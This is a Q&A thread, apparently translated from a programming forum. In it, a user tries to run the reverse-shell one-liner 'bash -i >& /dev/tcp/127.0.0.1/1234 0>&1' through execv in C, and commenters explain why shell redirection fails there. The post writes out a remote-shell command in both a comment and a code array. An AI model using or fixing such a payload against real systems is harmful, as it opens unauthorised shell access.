【发布时间】:2016-07-01 13:04:56
【问题描述】:
我知道上面标题的某些部分已经被问过了,但我仍然有些困惑。实际上,我并没有真正得到 bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 中的“>&” 我的主要目标是编译以下代码:
*#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *prog = "/bin/bash";
/*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
char *args[5] = {"/bin/bash", "-i", ">&", "/dev/tcp/127.0.0.1 /1234","0>&1"};
execv(prog, args);
return 0;
}
它被编译但是当我执行相应的二进制文件时,它给了我以下错误: bash: >&: 没有这样的文件或目录
任何解释都将非常感谢;)!
【问题讨论】:
-
您是否已经验证过代码在正常的cli上工作?
-
是的。已经检查过了,它就像一个魅力:)
-
0>&1是一种 shell 语法,用于将进程的文件描述符 0(又名标准输入)指向文件描述符 1(又名标准输出)。该重定向由 shell 执行,因此您无法在exec*中执行此操作 -
但是错误是关于第一个重定向而不是最后一个!我的意思是即使我删除了最后一个重定向 0>&1 错误仍然存在
标签: c linux bash gcc shellcode